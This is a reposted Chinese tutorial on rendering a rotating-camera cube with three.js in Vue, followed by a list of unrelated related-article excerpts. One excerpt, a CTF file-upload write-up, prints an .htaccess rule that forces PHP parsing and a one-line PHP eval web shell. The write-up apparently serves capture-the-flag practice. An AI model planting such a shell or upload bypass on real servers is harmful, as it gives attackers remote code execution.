vue three.js基本案例解析

news2025/1/10 1:53:40

1.安装依赖

// 比如安装148版本
npm install three@0.148.0 --save

2.使用页面引用

import * as THREE from 'three';
// 引入扩展库OrbitControls.js
import { OrbitControls } from 'three/addons/controls/OrbitControls.js';
// 引入扩展库GLTFLoader.js
import { GLTFLoader } from 'three/addons/loaders/GLTFLoader.js';

3.实例说明代码

export default {
  name: 'App',
  data() {
    return {
      vn: 1,
      scene: '',
      geometry: '',
      material: '',
      mesh: '',
      camera: '',
      controls:'',
      renderer:''
    }
  },
  mounted() {
    this.scene = new THREE.Scene();
    this.geometry = new THREE.BoxGeometry(100, 100, 100);
    //创建一个材质对象Material
    this.material = new THREE.MeshBasicMaterial({
      color: 0xff0000,//0xff0000设置材质颜色为红色
    });
    // 两个参数分别为几何体geometry、材质material
    const mesh = new THREE.Mesh(this.geometry, this.material); //网格模型对象Mesh
    //设置网格模型在三维空间中的位置坐标,默认是坐标原点
    mesh.position.set(0, 10, 0);
    this.scene.add(mesh)

    // 实例化一个透视投影相机对象
    const aspect = window.innerWidth / window.innerHeight;
    const camera = new THREE.PerspectiveCamera(75, aspect, 0.1, 1000);
    //相机在Three.js三维坐标系中的位置
    // 根据需要设置相机位置具体值
    camera.position.set(200, 200, 200);
    camera.lookAt(mesh.position);//指向mesh对应的位置
    this.camera = camera
    // 创建渲染器对象
    const renderer =new THREE.WebGLRenderer({ antialias: true });
    renderer.setSize(window.innerWidth, window.innerHeight);
    this.renderer=renderer
    document.body.appendChild(renderer.domElement);
    // 设置相机控件轨道控制器OrbitControls
    this.controls = new OrbitControls(camera, renderer.domElement);
    this.animate();
    console.log("记载")
  },
  methods:{
    animate(){
      requestAnimationFrame(this.animate.bind(this));
    this.controls.update();
    this.renderer.render(this.scene, this.camera);
    }
  }
}
</script>

效果图
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/953631.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

盘点那些国际知名黑客(上篇)

电影中的黑客仅靠一部电脑就可以窃取别人的信息&#xff0c;利用自己高超的技术让公司甚至国家都胆战心惊。“黑客”原指热心于计算机技术、水平高超的电脑高手&#xff0c;但逐渐区分为黑帽、白帽、灰帽。这些术语源自美国流行文化的老式西部电影&#xff0c;其中主角戴白色或…

企业怎么优化固定资产管理

在优化固定资产管理的过程中&#xff0c;不仅要关注硬件设备和设施的维护&#xff0c;还要重视软件系统和数据管理。一些可能的方法&#xff1a;  需要建立一套完整的资产管理系统。这个系统应该包括资产的采购、登记、使用、维修、报废等各个环节的管理流程。通过这个系统&a…

带你吃透Reactor并发模型

目录 1.概述2.项目介绍2.1 有那些并发模型2.2 能锻炼那些技能2.3目录结构 3.编码实践3.1 前期准备3.1.1 Echo协议3.1.2公共代码抽象3.1.3基准性能压测工具 3.2 并发示例3.2.1 EpollReactorSingleProcess3.2.2 EpollReactorProcessPool3.2.3 EpollReactorThreadPool3.2.4 EpollR…

MongoDb-01——Mac上安装MongoDb以及相关的简单命令

MongoDb-01——Mac上安装MongoDb以及相关的简单命令 1. 下载、安装1.1 官网下载1.2 关于安装MongoDB1.2.1 官方安装文档1.2.2 Mac安装详细步骤&#xff08;使用brew&#xff09; 2. 启动MongoDB2.1 官方说明2.2 作为macOS服务运行的相关命令2.3 访问 3. 链接并使用mongodb3.1 链…

人工智能与软件开发的未来

人工智能正在从各个方面改变软件开发。尽管许多公司竞相推出人工智能功能&#xff0c;但人工智能的潜力已超出了功能层面&#xff0c;成为大多数SaaS解决方案的基础。当机器学习和人工智能模型应用在SaaS技术后&#xff0c;便能提高各种业务流程的效率。人工智能应被视为新的开…

解决报错“No module named ‘pandas.core.indexes‘”

解决办法&#xff1a; 首先使用看一下你的pandas是不是版本太新了&#xff0c;如果使用2.0.0以上的版本&#xff0c;则会出现这个报错。 可以安装1.x.x的版本。 pip install pandas1.5.3

在Bigemap中怎么添加高清地图呢?

会使用到的工具 bigemap gis office&#xff0c;下载链接&#xff1a;BIGEMAP GIS Office-全能版 打开软件&#xff0c;要提示需要授权和添加地图&#xff0c;然后去点击选择地图这个按钮&#xff0c;列表中有个添加按钮点进去选择添加地图的方式。 第一种方式&#xff1a;通…

多轮面试中的策略和技巧:如何稳步晋级

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

如何用数字化系统延长用户运营周期?如何建立数字化用户体系?

如果说运营是进行用户引流、留存及转化的各个细分环节搭建&#xff0c;精细化运营便是针对各个细分环节&#xff0c;结合用户画像、人群定位、场景拆解及数据分析等细节&#xff0c;对用户展开有针对性的运营策略。要知道&#xff0c;运营需要以用户为中心&#xff0c;没有用户…

优思学院|企业推行精益生产要具备哪些前提条件?

企业界早已充斥着各种方法和策略&#xff0c;试图模仿精益生产和六西格玛管理等成功之路&#xff0c;目标在于通过质量工具的运用来改善业务。然而&#xff0c;许多公司在推行这些方法的过程中都犯了一个大错&#xff1a;他们忽视了背后的企业文化和制度&#xff0c;以及精益生…

电脑批量记账,提高效率和管理质量

在快节奏的商业环境中&#xff0c;记账是一项繁琐但必要的任务。为了提高效率和准确性&#xff0c;越来越多的人和企业寻求电脑批量记账的解决方案。 第一步&#xff1a;首先我们要进入晨曦记账本主页面&#xff0c;并点击“收支类别”在弹出来的文件框里输入好类别&#xff0…

Linux查日志的六种实用方法

工具&#xff08;比Xshell好用&#xff0c;国产且免费&#xff09; 先给大家安利一个软件&#xff1a;FinalShell官网 你打印出了日志&#xff0c;可以直接在这个上面搜索高亮 查日志 # 持续打印最新的日志&#xff0c;300行 tail -300f xxx.log# 查某个值 grep "内容&q…

[SWPUCTF 2022]——Web方向 详细Writeup

SWPUCTF 2022 ez_ez_php 打开环境得到源码 <?php error_reporting(0); if (isset($_GET[file])) {if ( substr($_GET["file"], 0, 3) "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";} }e…

【HSPICE仿真】实战练习(1)基础仿真分析

仿真实战 1. 反相器直流仿真1.1 输入文件2.2 执行仿真3.3 仿真输出控制.lis 文件内容波形文件 3.4 修改输出配置 2. 反相器瞬态分析使用不同宽长比进行仿真 3. 几种不同输入源的比较Pulse SourcePattern SourcePWL Source 1. 反相器直流仿真 1.1 输入文件 仿真所用电路图&…

MATLAB中mod函数转化为C语言

背景 有项目算法使用matlab中mod函数进行运算&#xff0c;这里需要将转化为C语言&#xff0c;从而模拟算法运行&#xff0c;将算法移植到qt。 MATLAB中mod简单介绍 语法 b mod(a,m) 说明 b mod(a,m) 返回 a 除以 m 后的余数&#xff0c;其中 a 是被除数&#xff0c;m 是…

使用ccs中 exclude from build功能,源代码不能去除/恢复到工程里

1、使用ccs免不了将源文件从工程里去除&#xff0c;或者重新添加到工程里&#xff0c;一般使用功能exclude from build&#xff0c;如下示&#xff1a;在.c上有键就可以看到 2、有时候用这个功能时&#xff0c;经常会出现ccs没有反应了&#xff0c;不能正常将源代码去除/恢复到…

.NET Meetup in Shanghai

点击蓝字 关注我们 作为一个开源的开发平台&#xff0c;.NET 在开源领域的探索从未止步。在如今风云变幻的大背景下&#xff0c;.NET 开源都会遇到哪些阻力&#xff1f;是什么让我们继续拥抱开源&#xff1f;我们将如何克服当下开源之路所面临的困难&#xff1f;开源 .NET 又将…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…

成都瀚网科技:抖音商家如何报名超值购?

为保护抖音消费者权益、规范商家经营行为&#xff0c;抖音对商城超值购物、招商引资等方面做出了详细规定。我们来看看详细信息&#xff1a; 第一条【宗旨和依据】为了倡导开放、透明、共享、责任的新商业文明&#xff0c;保护抖音商城用户和商户的合法权益&#xff0c;合理利用…

十九、状态模式

一、什么是状态模式 状态&#xff08;State&#xff09;模式的定义&#xff1a;对有状态的对象&#xff0c;把复杂的“判断逻辑”提取到不同的状态对象中&#xff0c;允许状态对象在其内部状态发生改变时改变其行为。 状态模式包含以下主要角色&#xff1a; 环境类&#xff08…